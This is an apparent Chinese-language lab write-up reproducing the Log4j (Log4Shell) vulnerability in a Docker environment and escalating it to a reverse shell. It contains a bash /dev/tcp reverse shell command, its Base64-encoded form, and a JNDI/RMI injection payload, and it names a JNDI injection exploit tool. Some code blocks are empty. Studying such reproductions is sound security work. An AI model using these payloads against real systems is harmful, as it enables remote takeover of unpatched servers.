攻击链十一:Log4j-rce-到reverse-shell
漏洞环境利用条件
Apache Log4j 2.x <= 2.14.1
将收到的日志写到参数当中
自行搭建
wget https://dlcdn.apache.org/logging/log4j/2.15.0/apache-log4j-2.15.0-bin.zip
Apache Log4j 2 下载地址
https://logging.apache.org/log4j/2.x/download.html
docker搭建
1 |
|
漏洞复现
目标机由Docker部署的底层Linux系统
将反弹语句bash -i >& /dev/tcp/192.168.2.1/12345 0>&1进行Base64编码如下:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMS8xMjM0NSAwPiYx
攻击机192.168.2.1 启用JDNI注入以及RMI远程服务器调用,将Payload作为调用对象序列化至RMI请求中
1 |
|
本地监听12345端口
POST请求目标机http://192.168.2.4:60001/hello
完整请求数据包:
1 |
|
查看RMI请求
查看Shell回话反弹:
成功获取目标服务器权限
注意
bash -i >& /dev/tcp/192.168.2.1/12345 0>&1
反弹shell的payload要进行编码,否则会反弹失败
JNDI注入对特殊字符可能会无法处理payload=${jndi:rmi://192.168.2.1:1099/v3hoyk}
这个payload的地址是执行JNDI-Injection-Exploit.jar
后,此工具生成的。所以复现的时候要替换字符串v3hoyk为以下的字符串下方的地址。1
2Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.158.1.159:1099/s583yi参考资料